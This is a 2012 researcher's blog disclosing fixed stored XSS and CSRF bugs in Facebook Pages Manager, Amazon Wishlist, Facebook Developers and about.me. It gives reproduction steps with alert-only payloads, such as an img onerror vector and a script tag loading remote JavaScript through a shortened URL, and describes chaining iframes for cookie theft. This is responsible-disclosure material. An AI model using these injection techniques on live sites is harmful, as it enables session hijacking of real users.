Monday, November 12, 2012

Stored XSS on Facebook Pages Manager

Facebook Pages Manager is an iOS application that makes it easier for page admins to view insights, respond to the audience, comment on the pages, etc. There was a stored XSS vulnerability in the versions before 1.4, which was released in the middle of September.

The vulnerability was in the page title appearing in the popover when you selected the like, message, or notification button from the top menu. The following steps were taken to produce the XSS on my iPhone:

Monday, October 15, 2012

CSRF and stored XSS in Amazon Wishlist

The Amazon Wishlist was vulnerable to both CSRF and stored XSS. I discovered these vulnerabilities separately, but I'd like to describe both of them in one blog post here. Even though neither of these vulnerabilities would have had a big impact by themselves, if combined, they could have become a serious problem.

There was no CSRF-token validation for creating a new wishlist. Because of this, an attacker could have made a user send a request to amazon.com to create a wishlist with an arbitrary name. The following is a sample malicious page that redirects a user to amazon.com to create a wishlist named "CSRFed".

The stored XSS was in the wishlist name displayed on the Shopping Cart page. This vulnerability could only have been dangerous if an attacker could have tricked a victim user into changing his wishlist name. The following steps were taken to produce the XSS:
  1. I created a new wishlist and set its title to "<img src=x onerror=alert(/XSSed/)>" in my Wishlist page at http://www.amazon.com/gp/registry/wishlist/.
  2. I opened my Shopping Cart page at http://www.amazon.com/gp/cart/view.html.
  3. An alert popup showing "/XSSed/" was displayed on my browser--the script was activated. 
If an attacker would have exploited these two vulnerabilities, he could have activated an arbitrary script on a victim's browser. In this attack, the attacker would have been required to create a malicious web page containing two iframes. One frame would have been for executing CSRF to create a wishlist and set its name to a malicious script. The other frame would have been for opening the Shopping Cart page. The iframe for XSS would have had to have been loaded after the wishlist had finished being created. When the XSS iframe opened, the script would have been activated.

I reported the XSS vulnerability on August 30 and confirmed that it had been fixed on September 25. Likewise, I reported the CSRF vulnerability on September 25 and confirmed that it had been fixed on October 3.

Saturday, October 13, 2012

Stored XSS on Facebook Developers

A month ago, I discovered a stored XSS vulnerability on the Facebook Developers website. Even though a developer's page can be only accessed by its application developers, an attacker could easily grant other users permission to view the page by inviting them to become team members. After the users become team members, the attacker would be able to exploit the vulnerability and steal the users' cookies to spoof their identities. The attacker would also be able to change the content displayed on the developer's page.

The vulnerability was in the display name field of the application. The following steps were taken to produce the XSS on my Firefox 15.0 browser:
  1. I created a malicious script, a file containing "alert(/XSSed/)", and hosted it on my server. The URL of the file became http://yujikosuga.com/xss.js
  2. I shortened the URL to http://goo.gl/p3skt because the maximum character length of the display name field is limited to 32 characters.
  3. I created a new Facebook application on the Developers website and set its display name to "<script src=//goo.gl/p3skt/><!--".
  4. I clicked on the Open Graph tab in the left menu, entered "xss" into the input fields and proceeded to the next page.
  5. I opened the Action Types section.
  6. An alert popup showing "/XSSed/" was displayed on my browser--the script was activated.
I then created a test user account and invited it to take on an admin role for the application. The test user account represented an unsuspecting victim. By clicking on just one button to accept the role, the test user gained permission to access the malicious page. I was able to confirm that the script was activated on that account as well.

This vulnerability was reported on August 30 and fixed on September 5 as part of Facebook's Security Bug Bounty Program.

Thursday, May 3, 2012

Summary of my vulnerability report during March, 2012


I summarized the number of  web application vulnerabilities that I reported during March, 2012.
  • Reported and fixed: 11 vulnerabilities
  • Reported but not fixed yet: 6 vulnerabilities
  • Not reported yet: 4 vulnerabilities
This is the correlation with Alexa rank of the website.
  • Reported and fixed
    • Rank 1 ~ 1,000: 1 vulnerability
    • Rank 1,001 ~ 10,000: 6 vulnerabilities
    • Rank 10,001 ~ 100,000: 1 vulnerability
    • Rank 100,001 ~ : 3  vulnerabilities
  • Reported, but not fixed yet
    • Rank 1,001 ~ 10,000: 1 vulnerability
    • Rank 10,001 ~ 100,000: 2 vulnerabilities
    • Rank 100,001 ~ : 3 vulnerabilities
  • Not reported yet
    • Rank 1 ~ 1,000: 1 vulnerabilities
    • Rank 1,001 ~ 10,000: 1 vulnerability
    • Rank 10,001 ~ 100,000: 2 vulnerabilities
    • Rank 100,001 ~ : 1 vulnerability
In the "Reported and fixed" category, this is the time between when I reported the vulnerability and when it got fixed.
  • 1 day: 3 vulnerabilities
  • 1 week: 7 vulnerabilities 
  • 1 month: 1 vulnerability

Saturday, February 18, 2012

XSS vulnerability in about.me

 
About.me was vulnerable to a persistent XSS attack. A malicious user could have activated an arbitrary JavaScript in any visitor's browser.

About.me allows users to display their contents from external social media websites such as Twitter, Facebook, and so on. The vulnerability that I detected was in the program that displays Github contents. An attacker would have needed to create a Github repository with a simple XSS vector in its description and to import his Github account into his about.me profile. Subsequently, if a visitor had clicked on the button to the attacker's Github repositories, the XSS vector would have been activated.

After I reported the vulnerability, they fixed it quickly and sent me the hoodie jacket shown in the picture on the left.
I have also found similar vulnerabilities in many other websites; some of them are not fixed yet.